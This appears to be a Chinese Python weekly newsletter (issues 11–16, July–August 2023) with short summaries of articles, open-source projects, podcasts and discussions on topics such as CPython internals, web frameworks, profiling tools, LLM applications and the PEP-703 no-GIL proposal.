这是一篇关于 Django 的聚合类月刊,分享了一些学习 Django 的技巧、资源、文章,等等。

🐿️项目&资源

本周重大新闻:Meta 推出了 Twitter 的竞品 Threads,仅两天的注册量就已突破三千万。它的后端使用了 Cinder,这是基于 Python 3.10 构建的高性能版本,包含许多性能优化,包括字节码内联缓存、协程的预先求值、每个方法一次的 JIT,以及一种实验性的字节码编译器。(star 2.6K)
用不到 200 行代码编写的快速、轻量级和简易的矢量数据库。
使用 GPT 将少量代码从一种编程语言转换成其它语言,这已非难事。但是,整个代码仓级别的语言/框架迁移,听起来就不是一件容易的事!这个项目需要使用 GPT-4,目前在 Python 和 Javascript 这种“简单”的语言上有不错的效果。(star 5.4K)
这是将 FastAPI 移除所有 HTTP 逻辑后改造成的依赖注入框架。
这是一个基于 LLM 的系统,连接中国金融市场,目前可以访问中国的股票、基金、经济及金融数据、实时新闻。
Read the Docs 是一个用于构建和发布文档的开源平台(你肯定见过它家的 Sphinx 或 MkDocs 生成的文档),这个仓库收录了一些开源项目的文档,可以学习它们是如何构建出酷炫效果的。
这是一个通用的人类舞蹈生成工具包,可以根据参考图片和姿势,生成人类舞蹈图片和视频。
Mark Shannon 由于“香农计划”而被很多人所知。这里分享的是他 2011 年在格拉斯哥大学的博士论文(可下载的 PDF),描述了一种用于构建动态语言虚拟机的方法,并解释了如何通过围绕一个抽象机器来构建虚拟机工具包的设计。
盲水印(Blind Watermark)是一种数字水印技术,可以在不需要原图或文本的情况下,将水印嵌入到数据中。这个项目是基于频域的数字盲水印,在多种攻击方式下仍能有效提取。(star 3.6K)
这是一个开源的多模态大模型系列,支持中英双语的多模态对话能力(VisCPM-Chat模型)和文到图生成能力(VisCPM-Paint模型)。基于百亿参数量语言大模型 CPM-Bee(10B)训练(周刊第 7 期曾介绍过),融合视觉编码器(Q-Former)和视觉解码器(Diffusion-UNet)以支持视觉信号的输入和输出。
polars 是用 Rust 写成的 Python 库,用于进行数据分析。这个仓库包含有 9 个章节的使用教程。
像 Netflix、Airbnb 和 Doordash 这样的公司如何运用机器学习来改善其产品和流程?这个网站整理了 64 家公司的 200 个案例,可以了解到机器学习的现实用例,学习如何设计机器学习系统。

🥂讨论&问题

Hacker News 上的问题,有哪些关于技术历史的好书推荐?
也是 HN 上的问题,有哪些关于编程语言、符号逻辑、算法、操作系统等 CS 书籍推荐?

第11期(2023-07-15)

🦄文章&教程

如何使用 Golang 来运行 Python 代码呢?关于 Python 版本和硬件,有哪些使用限制呢?这篇文章使用 Docker 解决环境依赖问题,使用开源项目 cpy3,成功用 Golang 运行 Python 代码。它有一篇续文《使用 Golang 和 Docker 实现 Python 计算服务》,将普通的 Python 软件包封装为高性能的可通过 gRPC 方式调用的服务。
很多程序员容易忽略一件事:那就是阅读代码的时间会远多于写下它们的时间!这意味着代码的可读性非常重要,因此当我们在“实现需求”时,除了要考虑用户的功能需求外,更应多加关注如何写出可读性高的代码。
@NoHeartPen 投稿:在看了第一期中对 conda 的吐槽 后,开始关注这个问题,但一直没有找到比较系统的总结,看了这篇文章后终于有了大致的思路(这篇文章不仅写了「怎么做」,还写了「为什么」,让我改掉了不建虚拟环境的陋习和放弃折腾 conda)。另外,附上翻译版 如何减轻 Python 打包之痛
NumPy 的作者 Travis Oliphant 曾说,如果当时给 NumPy 添加了 GPU 的支持,就没有后来的 Tensorflow、Torch 等深度学习框架什么事了。CuPy 是一个兼容 Numpy 且支持 GPU 的库(star 7K),这篇文章介绍了它的安装及数组的基础知识。
为什么说 Python 中一切皆对象?为什么 Python 用起来比其它静态类型语言慢很多?这篇文章从 CPython 的对象构造器入手,介绍了 CPython 底层数据结构、对象创建的过程、动态性的实现方式等内容。
一篇长文,使用 Flask + Flask RESTful 搭建一个 API 应用,使用 Flask-SQLAlchemy 扩展实现 ORM 操作 MySQL 数据库,基于 JWT 验证实现注册、登录以及登出接口,解决跨域问题,并使用 Docker 部署该应用。
探讨了 Django 中的请求与响应处理,包含基础知识、生命周期、HttpRequest 和 HttpResponse 对象的详细介绍。同时,讨论了 Django 的视图和请求、响应处理,以及安全性和异步处理的考虑。最后,对比了 Django 与 Flask、FastAPI 等框架在请求响应处理上的异同。
作者在给一个生产项目添加 Mypy 类型检查时遇到了诸多问题:很多库不提供 pyi 类型、TypedDict 使用受限、Optional 类型需要许多断言、混合类需要实现协议、Django 模型不支持泛型。简而言之,给历史项目加上类型检查是一件痛苦的事,最好是从一开始就考虑。
Notion 是一款强大的知识管理软件,这篇教程教你如何用 Python 操作 Notion 的数据库:创建集成、在数据库中创建页面、查询数据库与页面、更新页面、删除页面。
如何将 Rust 代码打包为 Python 可使用的扩展?maturinsetuptools-rust 是主流的两种方式。但是,在做原型设计时,打包与集成过程还是挺麻烦,这篇文章介绍了一个新的库 rustimport ,可以直接从 Python 中导入 Rust 代码!文章介绍了它的使用方法、Rust 初学者最常见的性能错误、以及使用 rustimport 时的一些陷阱。
Python 的换行与缩进是程序结构的基础部分。空格在 Python 的语法解析中起到什么作用,词法分析器如何处理换行和缩进?Python 的空格有哪些优点和缺点?Python 如何解析代码并生成抽象语法树?
介绍了 7 种从 Python 字典中删除重复值的方法:使用 for 循环、使用字典解析式、使用 setdefault() 方法、使用 values() 和 set() 方法、使用 collections.defaultdict()、使用列表解析式、使用 dict.fromkeys() 和 values()。
什么时候该给项目作性能优化?性能调优前该关注哪些内容,应该使用什么工具?这篇文章介绍了timetimeitcProfilePyinstrumentperf 等工具以及一些性能优化的技巧。
介绍了 3 个非常好用的库:JMESPath 可以很方便查询 Json 中的元素(star 1.9k),inflection 可以很方便处理字符串(比如批量将驼峰式变量名修改成蛇形命名),more-itertools 类似于标准库的itertools 提供了很多操作可迭代对象的方法(star 3.1k)。
你见过接近 3 万个文件(不含测试)的 Python 单体代码仓么?全球有 400 开发者共同开发,如何避免混乱?作者介绍了分层管理代码仓的做法、使用的架构和工具(import-linter)、以及克服过的一些困难。

🐿️项目&资源

新上线的 Threads 依然是本周最火爆的科技话题之一。这个项目通过逆向工程获得了它的 API,可让你使用 Python 操作 Threads 的很多功能。
这个项目用 RSS 抓取 AWS、Apple、DeepMind、Google、Meta、Stripe 等科技公司的博客,调用 gpt-3.5 生成摘要,将数据存储在 supabase 中,并在 Vercel 上托管了一个 Next.js 网站
可以为 Djiango 模板添加现代响应式的组件功能,无需使用 Javascript 框架。支持表单验证、重定向、加载状态、部分更新、滚动触发、消息、Javascript 集成等等丰富的功能。
可以批量将图片的链接进行本地到图片服务器、图片服务器到本地、图片服务器到图片服务器的转换。(@Zeeland 投稿)
可以通过人工智能来提升天气预报的准确度啦?!Pangu-Weather 是一个快速而准确预报全球天气的 3D 高分辨率模型。这个仓库提供了伪代码、预训练模型、推理代码等资源。
基于 4 百万个中文医学领域和通用领域的指令微调,支持医学领域的各种自然语言处理任务,包括健康教育、医师考试问题、报告解读、医疗记录结构化以及模拟诊断和治疗。基于这个大模型,已经有不少应用,比如与 X-ray 图像模型结合的应用 XrayPULSE
可扫描虚拟环境中未使用的依赖库,支持 Poetry、Pipenv、PDM、 requirements.txt 文件以及 PEP-621 的 pyproject.toml 文件。
一个面向自媒体创作、直播和运营等领域的大语言模型,能够理解抖音运营、短视频创作、巨量千川投放、直播运营等领域的核心概念和策略,支持内容创作、平台运营、广告投放等。
一个元编程框架,可以为 GPT 分配不同的角色(如产品经理/架构师/项目经理/工程师),共同协作完成复杂的软件开发任务。仅需一句话需求,就能输出用户故事/竞争分析/需求/数据结构/API/文档等。(star 3.7k)
基于个人的 Markdown 笔记、PDF 文件、Github 代码仓和照片,打造支持搜索与聊天的 AI 助理,可通过浏览器、Emacs、Obsidian 和移动设备等多种界面进行交互。
一个命令行聊天工具,可以让 GPT 创建新项目,或修改现有 git 代码仓中的代码。它可以轻松完成 git 提交、比较和撤消更改,无需人工复制/粘贴。(star 2.3k)
一篇 CVPR 2023 最佳论文的官方实现,可以实现:基于图片内容的自然语言问答与推理、图片内对象标注、自然语言图片编辑等功能。

🐢播客&视频

Python 在 Netflix 中有大量的使用场景,比如 CDN、需求预测和容灾、安全、机器学习等等。这期播客节目聊了 Netflix 在使用 Python 时的相关话题。另外,分享它官博上获得 8k 赞的一篇旧文《Python at Netflix》。
这期播客聊了很多话题,其中关于 Pydantic 的有两则:V2 版本已发布、一个awesome-pydantic 清单,后者收录了很多使用 Pydantic 的开源项目。

🥂讨论&问题

知乎上的一个问题,前排有很多高赞的回答,八仙过海各显神通!
Python 社区今年最受瞩目的提案当属 PEP-703 了吧(我曾在年初介绍过)!Guido 上个月在论坛中说要是能得到 Meta 等科技公司的支持就太好了。好消息来了,上周 Meta 承诺可以提供人力支持。消息在 Twitter 和 Hacker News(查看 HN 帖子)等平台上,获得了激烈的讨论。

第12期(2023-07-22)

🦄文章&教程

介绍了一款强大的工具 PyStack,可以解决一些难以调试的问题,如死锁、程序挂起、段错误、Python 和 C/C++ 混合应用调试等。它支持两种调试方法:附加到运行中的进程,或分析崩溃进程的核心转储文件。
一个非常完备的 FastAPI 项目模板,带有 CI/CD、Docker、PostgreSQL、Makefile、单元/集成测试、linting及类型检查。
Polylith 是一种软件架构框架,核心思想是将系统分解为一个个可测试的、可重用的独立单元。作者结合 FastAPI 与 Polylith 架构,开发了一个项目模板。
详细解析了 logging 模块,从基本介绍到实际应用和最佳实践,介绍了如何高效地用它记录日志,以及如何避免常见的陷阱。
文章使用 JMeter 分别测试了 Rust 的 Axum 框架以及 Python 的 Blacksheep 框架。猜猜最终的测试结论是什么呢?
Meta 发布了 DINOv2 视觉预训练模型,能够准确地理解图片中的语义信息。这篇文章用它开发了一个 Python工具,能够检索若干张图片在测试数据集中最相似的图。
Python 标准库中有哪些实用的小工具,可以直接写 python -m xxx 调用?这篇文章使用 ripgrep 查找出几十个模块,并重点介绍了http.serverbase64asynciotokenizeastjson.toolrandom 等工具。
Tailwind 是近几年在前端很火的一个 CSS 框架,如何将它运用到 Python Web 项目中呢?文章主要介绍了tailwindpie 这个库,并演示如何在 Flask 项目中使用它,实现自动安装及配置 TailwindCSS。
介绍 Python 中元编程的几种机制:装饰器、元类、函数及类装饰器、动态代码生成,以及常用于元编程的关键字与内置函数。
一篇硬核长文,介绍了 CPython 如何表示程序的调用栈以及如何将字节码地址解析为源代码行号。文章剖析了 CPython 的内部机制,提供了 CPython 性能分析和调试的有用信息。
Pathlib 是 Python 中作目录相关操作的库,而且应该是最好用的一个。文章详细介绍了它的常见用法,对比了其它常用工具,并且针对一些场景作了性能分析。
文章分享了三家大型网站的软件架构。
代码的可读性与可维护性,再怎么强调也不为过!这篇文章介绍了一些基础的原则,但却非常体现程序员的编程素养。
Meta 的几千名开发者使用了哪些支撑大规模协作的工具呢?文章介绍了几款开源工具(Sapling 版本控制、 Buck2 构建系统、 Infer/ RacerD/Jest 测试与静态分析),另外 Meta 官博还有一篇介绍开发者工作流的文章 Meta 开发者工作流:探索大规模编码工具

🐿️项目&资源

Github 上有哪些运用了最佳实践,并且有强大而良好架构的项目?这是 Reddit 上的帖子,可去看看大家推荐了什么。
一份非常全面的 Python 知识手册,除了 Github 仓库,还有在线网站及 PDF 版本。(star 33K)
国人开源的项目,实现了网页版 ChatGPT 的主要操作,能解决国内访问 ChatGPT 的诸多痛点。(star 18.6K)
这个框架可以快速开发由数据库驱动的 Web 应用,它基于流行的全栈框架 web2py ,但比后者快 10-20 倍。
基于 FastAPI、Vue2.x、ElementUI、MySQL 等框架精心打造的一款模块化、高性能、企业级的敏捷开发框架,实现了可插拔的组件式开发方式。国人作品(收费),有完善的中文支持。
这个项目的中文名叫“齐叨”,可同时与多个 AI 对话,方便取得最佳答案。(star 8.2K)
纯 Python 开发的向量数据库,支持 CURD 及强大的可扩展能力(分片与复制)。使用了 DocArray 充当驱动向量搜索逻辑的引擎,使用 Jina 保证高效和可扩展的索引服务。
一个纯 Python 实现的有序容器库,提供了列表、集合与字典的有序版本,API 兼容,号称经常比 C 实现更快。用户指南中提供了几份性能对比报告,数据很可观。(star 3K)
这是基于 Flask 框架而作的异步版实现,支持快速将 Flask 项目改造成支持异步。(star 2K)
一个强大的自动化内容生成框架,简化了视频创建、素材获取、字幕生成、画外音合成和编辑任务。(star 1.4K)

🐢播客&视频

这期播客的嘉宾曾出现在我们周刊的第 7 期,他给 CPython 添加返回常量指令 ,节目聊了他给 CPython 做的这项工作以及在腾讯做编译器开发的情况。
Robyn 是用 Rust 开发的轻量级、高性能 Python Web 框架。这期播客聊了关于 Robyn 的相关话题。
Python 网络大会(Python Web Conf)今年举办了第 5 届,上周发布了相关的视频材料,涵盖主题有人工智能/机器学习、大数据、CI/CD、Serverless、安全、容器等等。
想要了解 AI?想观看关于 ChatGPT 的相关视频?想发现最新潮的 AI 工具?这里推荐了 6 个油管频道。
这是我本周听到最喜欢的一档播客!这期节目聊了就业与人生选择的相关话题。(如果你是高考毕业生,可去听第 11 期高考特辑 成为状元 9 年后,我还在做高考的噩梦

第13期(2023-07-29)

🦄文章&教程

Jupyter Notebook 大版本更新,亮点包括实时协作、交互式调试、目录、主题和深色模式、国际化、改进的可访问性、移动设备上的紧凑视图。
Python 的基础类型 Int、List、Dict、Tuple、Str 不支持弱引用,而 Object、Type、Set 等类型却支持弱引用,为什么会出现这种情况呢?文章给出了自己的分析。
什么情况下要使用分布式锁?如何用 py-redis 实现分布式锁,加锁与解锁的流程是怎样的?加锁的超时时间有什么注意点,如何实现 WatchDog 给锁自动续约?
一篇 PyScript 入门教程,介绍了安装、基础知识、配合 Flask 的使用以及高级功能。
什么是文件 I/O,为什么它会比主内存 I/O 慢很多?文件 I/O 的速度与哪些因素有关?有哪些提升文件 I/O 性能的方法?
文章介绍了一些最佳编程实践,涵盖代码结构、pre-commit、类型提示、文档字符串、lint、Pydantic、拼写检查、测试等方面。
文章详细对比了当前最为流行的 6 种日志框架:logging、loguru、structlog、Eliot、logbook 与 picologging 。最推荐的无疑是前两个,其它权当兴趣尝鲜吧。
如何使用 cProfile 来对 Python 代码进行性能分析?文章简单介绍了它的用法,并给出了上下文管理器与装饰器两种高级用法。
文章介绍了函数式编程的优点、Python 对函数式编程的支持、最佳实践以及编写 Python 程序时要避免的错误。
在 Python 3.12 之前,f-string 有什么限制?即将发布的 3.12 版本会带来哪些变化呢?新功能前瞻:嵌入表达式可以重用引号、f-string 中允许使用反斜杠、多行表达式中可写注释、任意级别的 f-string 嵌套、优化了 f-string 的错误提示……
介绍了如何使用名为 AsyncMixin 的 mixin 在 Python 中创建异步构造函数。
不安全的直接对象引用 (IDOR) 是一种安全漏洞,文章介绍了这种漏洞的危害,如何识别并修复 IDOR 漏洞。
作者介绍了如何识别和优化特征存储中 CPU 密集型代码,从而提升核心模型的性能。事件循环延迟是什么,如何监控异步代码消耗的时间?
交叉编译是指在一台计算机上编译适用于另一种体系结构的程序。这份 PEP 试图揭示交叉编译遇到的挑战,并以此进行改进。
在项目中记录和管理第三方库,这有很多解决方案。但是,如何给单文件管理三方库依赖呢?这份 PEP 提出了一种很简单的规范格式。

🐿️项目&资源

基于 AI 的简历匹配器,根据 JD 的关键词给简历打分。使用 Qdrant(一种高效的向量相似度搜索工具)来衡量简历与 JD 的匹配程度。
PyHAT 旨在 Python 中推广 htmx+ASGI+TailwindCSS,这个项目列出了一些入门资源、教程、设计理论、周边生态等等。
基于 ChatGLM2-6B 基座语言模型,在 Python 上达到 35.9% 的 Pass@1 一次通过率,超越规模更大的 StarCoder-15B。CodeGeeX 插件支持 VS Code、 IntelliJ IDEA、PyCharm、GoLand、WebStorm、Android Studio 等IDE。(star 1K)
开源可商用的中文版 Llama2 模型及中英文 SFT 数据集,兼容适配所有针对原版 llama-2-chat 模型的优化。(star 1K)
中文开源项目,三步上手 LLaMA2,作者写了一系列教程博客。
一个全栈项目,快速将数据和 AI 构建出 Web 应用。
允许在运行中的 Python 进程里注入自定义代码,以实现动态调试、修改变量值、破解加密、分析运行时行为等功能。支持多种注入方式,包括注入到 Python 解释器、注入到指定函数、注入到特定线程等。(star 2.7K)
在运行中的 Python 进程里提供交互式的调试和监控功能,利用 Python 的”ptrace”机制,通过在目标进程中注入代码,可通过 SSH 或 telnet 等协议连接,实现远程交互。与 gevent 和 eventlet 兼容,有少许限制。
一个非常完备的教程项目,指导在 Docker 上运行 Python、设置开发环境与容器扩展、测试与部署等。
使用 SeleniumPlaywright 等框架时,要管理各种浏览器驱动。这个项目简化了浏览器驱动的管理与使用方式。
JetBrains 开源的一个绘图库,可创建美观、交互式的统计图表和数据可视化。为 Python 和 Kotlin 开发者提供类似 ggplot2 的绘图 API。(star 1.1K)
一个小型 python-gtk 程序,通过直观的方式编辑 PDF 文档。它的后端基于 pikepdf ,这是一个用于读写 PDF 文件的库。(star 2.3K)

🥂讨论&问题

在第 11 期周刊中,我们分享过“如果 PEP-703 被采纳,Meta 将投入人力支持”,现在又有进展啦,指导委员会打算接受 PEP-703 了!这篇帖子列出几个基本原则与三个阶段的开发计划。向后兼容性是重中之重,这不会是 Python 4。

第14期(2023-08-05)

🦄文章&教程

最新发布的一个Python 编译器(当前为 alpha 版本),目标是打造高性能的 Python。可以将带有类型提示的 Python 代码编译为优化的机器代码,支持提前编译(AOT)与即时编译(JIT),支持与 CPython 互操作,支持多种后端,例如 LLVM、C、C++、WASM、Julia 和 x86。
Cython 是一门专用于提升 Python 性能的编程语言,最近从 0.29.x 版本直接升到了 3.0.0 版本,带来了大量的问题修复以及新特性,这份 changelog 文档非常丰富。(附一篇详解历时五年的 Cython3.0 都发生了哪些变化 ,总结了这个版本的几项较大的变化点。)
变异系数(Coefficient of Variation,CoV)是一种统计量,用于评估数据集相对于其均值的相对变异性或离散程度。文章介绍了变异系数的公式、解释、意义和实际用途,以及如何用 Pandas 和 Numpy 来计算变异系数。
Jupyter Notebook 也支持 AI 功能了,目前免费提供。官博这篇教程指导了如何在聊天界面使用 Jupyter AI 完成各项任务。支持来自 AI21、Anthropic、AWS、Cohere、HuggingFace Hub 和 OpenAI 的大语言模型。
Python 3.10 版本的模式匹配语法,你用过了么?这篇文章探究了这种语法的相关要素(基本结构、每种模式的演示),也思考了是否真必要用模式匹配语法替换elif
Rich 是一个在终端使用富文本和美观样式的库(本期周刊的“项目&资源”中有介绍),这篇文章介绍了它的 inspect() 函数,可以查看 Python 对象的属性以及可用的 API。
一个冷门话题,讨论了 Python 包的版本号。我才知道 Python 包版本命名竟有 6 个组成部分!文章大部分内容是对 PEP-440(版本标识和依赖规范) 的介绍与解读,最后也介绍到了 Wheel 包的版本命名规则。
使用并发编程来提升文件 I/O 操作的性能,具体有哪些使用手段呢?文章介绍了四种模式(单线程、线程池/进程池、批处理任务、在进程池中使用线程池),并讨论了该如何选择更合适的模式。
对于所有程序员来说,阅读代码都是一项必备能力。但是,如何高效地阅读与理解别人的代码呢?这篇文章介绍了一些阅读策略与技巧,同时站在阅读者的视角,也有助于我们写出更具可读性、可理解性的代码。
Java 和 Python 各有优点,如何能将它们结合起来呢?这篇文章介绍了如何用 JPypePyjnius 等方式来调用 Java,同时指出实现方案所面临的挑战和限制。
文章介绍了 PythonMonkey 库的用法,实现在 Python 中加载与运行 JavaScript 代码,以及在 Python 中使用 WASM。(附作者的其它文章:使用 WebAssembly 在 Python 中执行 Rust 代码使用 WebAssembly 在 Python 中调用 C 函数
本期周刊有好几则内容与 Textual 相关!与图形用户界面(GUI)相比,文本用户界面(TUI)响应更快、系统要求更低和更易自动化。这篇文章使用 Textual 构建了一个 ChatGPT 对话工具。
如何在 Python 中使用当前热门的向量数据库呢?这篇文章介绍了使用 10 多种数据库来索引及搜索向量数据,包括 ClickHouse、OpenSearch、pgVector、Pinecone、Redis 等等。
CPython 是 Python 官方的解释器实现,这篇长文介绍了它的编译过程,包括语法解析、抽象语法树、字节码、pyc 解析等内容。
作者指出了 Python 内置的 pdb 与其它调试器(如 ipdb、pdbpp)的缺点,介绍了他开发的 pdbp 所作的修复和改进,以及简单的入门使用。这个库依赖项很少,功能强大,值得一试。

🐿️项目&资源

这个网站非常惊艳,推荐大家去体验下!主页是一幅学习线路图,画了不同的学习分支和内容分类,还有几个编程项目挑战,点击每个节点则跳转到对应内容的页面。(借鉴此网站的创意,开发面向中文读者的教学网站,应该会挺有趣)
你或许已知道 Python Tutor,它是一个提供了在线交互式 Python 编程环境的教学工具。这里介绍的 Pandas Tutor 也是类似的网站,它允许在浏览器中编写 Pandas 代码,并可视化数据的转换过程。 (附一篇文章,两位作者介绍了他们将 Pandas Tutor 移植到 Pyodide 的工作,以便大规模推广数据科学的教学)
这是托管在 Read The Docs 上的一个教学课程,介绍了如何使用 SQL 和 Jupyter 作数据分析,包含操作数据库、高级查询技术、数据可视化(seaborn、plotly、ggplot)、项目打包部署与监控等章节。它出自于开源项目 ploomber (star 3.1K),后者是一个快速构建数据管道的项目。
这是周刊第 12 期介绍过的 pystack 的姊妹项目,可以跟踪 Python 代码、C/C++ 扩展模块和 Python 解释器本身中的内存分配,支持本机模式与实时查看模式,可生成多种类型的报告。提供了 Pytest 插件 pytest-memray,可以在运行测试套后查看内存报告。(star 11K)
MS Paint 是微软公司开发的一款简单的图像编辑软件。这个项目是 MS Paint 风格的 TUI 图像编辑器,支持在终端中打开与保存图像、MS Paint 中的所有工具、调色板、画笔预览等等功能。
Rich 让终端不再单调,可以绘制漂亮的表格、进度条、markdown、源代码语法高亮以及栈回溯信息等。(star 44.2K)下面这张效果图,囊括了它的主要特色:
这是用 Rust 开发的 JSON 解析库,主要解决大文件无法加载到内存的痛点,通过将 JSON 转化成 JSONL 格式,解决内存消耗问题。测试表明,处理一个 500MB 文件,Python 标准库要用 2GB 内存,但这个库仅需 1.5MB,而且速度差异很小。
前文已出现过 PythonMonkey,它将 Mozilla 的 SpiderMonkey JavaScript 引擎嵌入到 Python 虚拟机中,利用Python 引擎提供 JS 主机环境。这个项目的目标包括在 Python 中调用 JavaScript 库和在 JavaScript 中调用 Python 库,如果能有效打通这两种语言的生态,前途不可估量!
cuDF 基于 Apache Arrow 列式内存格式构建,是一个 GPU DataFrame 库,用于加载、连接、聚合、过滤和以其它方式操作数据。提供了类似 pandas 的 API,无需了解 CUDA 编程的细节。(star 5.8K)
对 Stable Diffusion 作“知识蒸馏”后的小型化版本,可生成与 SD 质量相当的图像,同时速度更快、空间占用更少。
一个对视频中对象作高性能跟踪和分割的框架,由视频多目标分割器(VMOS)和掩模优化器(MR)组成,可以同时跟踪多个目标物体并输出准确的物体掩模。
一个 awesome 系列的 MLOps 精选列表,包含各种各样的项目/工具,以及文章、书籍、活动、播客和网站等等资源。

🐢播客&视频

本期的“项目&资源”介绍了 Memray,这里的播客节目邀请了两位嘉宾深入聊了这个项目。

第15期(2023-08-12)

🦄文章&教程

cProfile 这种基于函数调用的分析工具无法有效分析异步操作的执行时间,文章介绍了 pyinstrument 这个分析库,结合 FastAPI.middleware 装饰器,并使用 speedscope 来可视化 FastAPI 程序的耗时情况。
介绍了 FastAPI 的 BackgroundTasks,可以创建后台任务,用于管理长时间运行的任务,而不阻塞主进程。
直方图又名“柱状图”,可直观查看数据的分布趋势、离散程度和异常值等信息。文中介绍了 Matplotlib、Plotly、Seaborn、Numpy 和 Pandas 等工具绘制直方图的方法,介绍各种直方图的样式和风格、处理异常值、分析时间序列数据等。
Mypy 是 Python 的静态类型检查工具,1.5 版本主要功能有:不再支持 Python 3.7、更灵活的 TypedDict 创建和更新、可显示错误代码的文档链接、实验性改进了泛型函数的类型推断、对 Python 3.12 的部分支持,等等。
在 py 文件中写上一句print("hello world"),然后在命令行执行这个文件,幕后都发生了什么呢?文章使用了 readelfstraceldddebugfs/procltraceddstat 等工具,详细解释了脚本被执行的过程。主要涉及操作系统相关的内容,而不是 CPython 解释器。(附:文章还引用了最近很火的 Putting the “You” in CPU ,介绍计算机是如何运行程序的,强烈推荐!)
PostScript 是电子出版和桌面出版领域的页面描述语言,广泛用于打印机、出版和图形设备。文章将一段 PostScript 程序直译成 Python 代码,可以让你快速了解这门语言的语法。
作者的一段代码,用 Rust 花了 950 毫秒,而 Python 却花 70 秒!这怎么能忍!将生成器写法改成 for 循环后,只是轻微提速,使用 Numpy 和多进程做了一些优化后,终于看到了比较可观的数据。不同代码方案的对比、Python 底层工作原理、内存使用效率问题,以及语言特性的差异。
如何用 Python 创建自己的上下文管理器?上下文管理器是可以在 with 代码块中使用的对象,在进入和退出时做一些操作。文章介绍了上下文管理器的实现细节。
一篇有意思的文章。导入一个模块后,可以将 8 和 9 互换,即print(8) 会打印出 9。文章展示了如何用 C 编写一个简单的模块,介绍了 CPython 中整数对象池的实现,并通过修改两个整数的引用,实现一个简单的篡改数字的效果。
一篇给 Python 泼冷水的文章,主要观点是认为 Python 不适合于开发大型应用。批评的点包括动态和鸭子类型、性能问题、代码维护和重构难等问题。
Python 之禅说“错误不应该悄无声息地被忽略”,强调了应该直面错误和透明处理。文章指出了一些糟糕的错误处理写法,给出了尽早检查错误、快速失败处理等编程建议。
这篇教程介绍了搭建企业中 GPT 对话机器人的完整流程,包括数据索引、查询检索、集成 LLM、使用 FastAPI 开发接口、uvicorn 作部署。
tenacity 库提供了一种用迭代器和上下文管理器组合的写法,实现重试机制。这篇文章演示了如何用自定义的迭代器和上下文管理器,来实现同样的功能,可以让你更深入理解这两个好用的特性。
Pandas 被广泛用于数据处理,文章介绍了如何高效利用索引技术,提升它整理数据的速度和效率。介绍了多种索引技术,例如基于整数的索引、布尔索引、设置新索引并重置旧索引、排序索引。
Python 不适合处理 CPU 密集型任务,文章中项目原本使用进程池来规避 GIL 问题,后使用线程、C++ 扩展和更精细调整的 GIL 控制,将内存使用量减少 50%,CPU 使用量减少约 20%,线程和进程减少约 70%,I/O 流量减少 100%。

🐿️项目&资源

一个轻量级、无侵入的 Python 代码性能分析库,支持分析异步任务和事件循环代码,可生成多种格式的分析报告,包括文本、HTML 和火焰图。(star 5.5K)
国人开源的日志记录/调试/分析工具,支持线程、多进程、子进程和异步,支持火焰图、远程连接、虚拟调试等,有强大的前端,可流畅渲染 GB 级堆栈信息。(star 3.5K)
可提供简单而灵活的方式来实现可靠的重试机制,支持指定重试次数、重试间隔时间、重试的回调函数、根据不同的错误条件进行重试等功能,减少手动处理错误和异常的麻烦。(star 5.1K)
一个高性能的 ASGI API 框架,其早期版本是基于 Starlette 开发的,命名为 Starlite,但从 2.0 版本起已完全移除 Starlette 依赖,并改名为 litestar。核心特性:基于类的控制器、依赖注入、分层中间件、插件系统、OpenAPI 3.1、内置 Trio,等等。(star 2.5K)
从图片中分割物体,创建高保真的 3D 几何形状,可作 360° 旋转展示。(star 1.2K)
使用 diffusion 模型对黑白图像进行着色,使用 LAB 色彩空间实现,这是 RGB 色彩空间的 3 通道替代方案。
将 LLM 与 DevOps 工具相结合,将自然语言需求转换为可工作的软件。无需繁琐的需求文档编写与沟通,缩短开发与交付时间,加速软件部署和迭代。(star 1.2K)
具体语法树(Concrete Syntax Tree)是在词法分析和语法分析阶段后生成的一种数据结构,可用于分析代码结构,执行语义分析、重构优化和代码生成等操作。(star 1.2K)
基于属性的测试(Property-based Testing)是一种软件测试方法,其中测试用例的生成和验证是基于定义的属性或规约。传统的单元测试要给定具体的测试用例,而基于属性的测试则是随机生成大量的测试数据。(star 6.8K)

🐢播客&视频

这是一档新上线一个月的播客栏目,每周访谈 Python 社区里一位有突出贡献的大佬。目前已访谈的嘉宾有 Michael Kennedy(Talk Python to Me 和 Python Bytes 的主理人)、Paul Everitt( JetBrains 和 PyCharm 的开发者倡导者)、Brett Cannon(Python 核心开发者)、Barry Warsaw(Python 核心开发者,非常早的成员)、Bob Belderbos(Pybites 的主理人)。
Pyscript 使 Python 能够在浏览器中运行。这期播客聊了它的最新进展。
网站可靠性工程(Site Reliability Engineering,SRE)是什么?它和 DevOps 有什么关系?如何平衡 SRE 的原则与组织结构的关系?生成式 AI 对 SRE 会带来什么影响?
播客嘉宾是 Python 核心开发者和指导委员会成员 Pablo Galindo Salgado,讨论了如何平衡语言设计中的一致性和新功能、为什么收集社区对新版本的反馈很重要,以及为何他要专注于让 Python 更快。

第16期(2023-08-19)

🦄文章&教程

作者强调使用 Python 的核心特性来编写惯用的、富有变现力的、优雅的代码很重要,提出优雅不是可有可无的奢侈品。
文章介绍了如何基于Asyncio.Future的特性编写一个语言级别的防缓存击穿的工具——Share,并介绍它的使用和高并发下的处理方法。
APScheduler 是一个强大的定时任务处理库,这篇长文详细介绍了从入门到精通的相关知识,包括创建定时任务、定时任务触发器、任务存储、并发执行、阻塞和非阻塞调度器、错误处理、立即执行任务、调度器持久化、任务监听器和移除定时任务等。
文章尝试将 Python 的 lambda 函数改成 Javascript 风格的箭头函数。在编译 CPython 时,通过修改 .asdl 文件,重新构造抽象语法树,修改语法分析文件,并利用 pegen 重新生成语法分析器。
你是否对 CPython 的底层运行原理及其内部结构感到好奇?文章通过分析源码,介绍了 CPython 是如何实现引用计数和内存管理的,涉及引用计数的机制、关键数据结构的解释、字节码指令的执行、引用计数的局限性等。
延迟加载指的是在使用时再导入模块,而不是在程序刚执行时就加载。它的好处:减少启动时间、降低内存消耗、提高性能、优化资源、运行时加载。文章介绍了importlib 实现延迟加载的用法。。
端到端测试(end-to-end)指的是对程序的整个使用流程从头到尾作测试,可能发现单元测试与集成测试都无法发现的问题。这是一篇详细的入门教程,介绍了 Playwright 的相关用法。
Python 官方虽已宣布会接受 PEP-703,但是最终版本或许要等到 5 年后的 3.17 版本。从 2021 年起,nogil 和 Faster CPython 项目持续吸引大家的关注,这篇文章梳理了它们两年来的发展情况、一些关键性问题的处理方案和重要进展、近期社区和大公司的回应等。(附:Python 官方第一次针对 nogil 的研讨会Faster CPython 项目的首次亮相
